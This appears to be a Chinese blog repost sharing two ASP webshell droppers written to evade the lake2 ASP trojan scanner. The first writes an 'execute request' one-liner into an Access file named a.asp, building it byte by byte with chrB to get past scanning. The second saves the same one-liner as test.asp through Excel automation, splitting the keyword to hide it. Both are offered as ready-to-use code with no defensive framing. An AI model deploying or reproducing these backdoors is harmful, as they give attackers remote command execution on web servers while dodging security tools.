两个非常规ASP木马(可躲过扫描)

236 阅读 0 评论 156 点赞

我是靠谱客的博主忧虑小笼包，最近开发中收集的这篇文章主要介绍两个非常规ASP木马(可躲过扫描)，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

hanxiaolian
为了躲避 lake2 ASP站长管理助手而写..
一.绕过lake2 Asp木马扫描的小马

复制代码代码如下:

 
<% 
set c = CreateObject("ADOX.Catalog") 
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp")) 
set c = Nothing 
c&Server.MapPath("a.asp") 
set conn=server.createobject("Adodb.Connection") 
conn.open connstr 
conn.execute("create table nomm(nomuma oleobject)") 
set rs=server.createobject("adodb.recordset") 
sql="SELECT * FROM nomm" 
rs.open sql,conn,1,3 
rs.addnew 
rs ("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc ("e"))&chrB 
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc 
("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc 
("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) 
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc(">"))) 
rs.update 
rs.close 
set rs=nothing 
conn.close 
set conn=nothing 
%> 

二.xls版asp webshell

复制代码代码如下:

 
<% 
Set xlA = Server.CreateObject("Excel.Application") 
xlA.Visible = False 
xlA.Workbooks.Add 
Set xlWorksheet = xlA.Worksheets(1) 
xlWorksheet.Cells(1,1).Value = "<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">" 
'strFile = "d:/test.asp" 
strFile = Server.MapPath("test.asp") 
xlWorkSheet.SaveAs strFile 
xlA.Quit 
Set xlWorksheet = Nothing 
Set xlA = Nothing 
%> 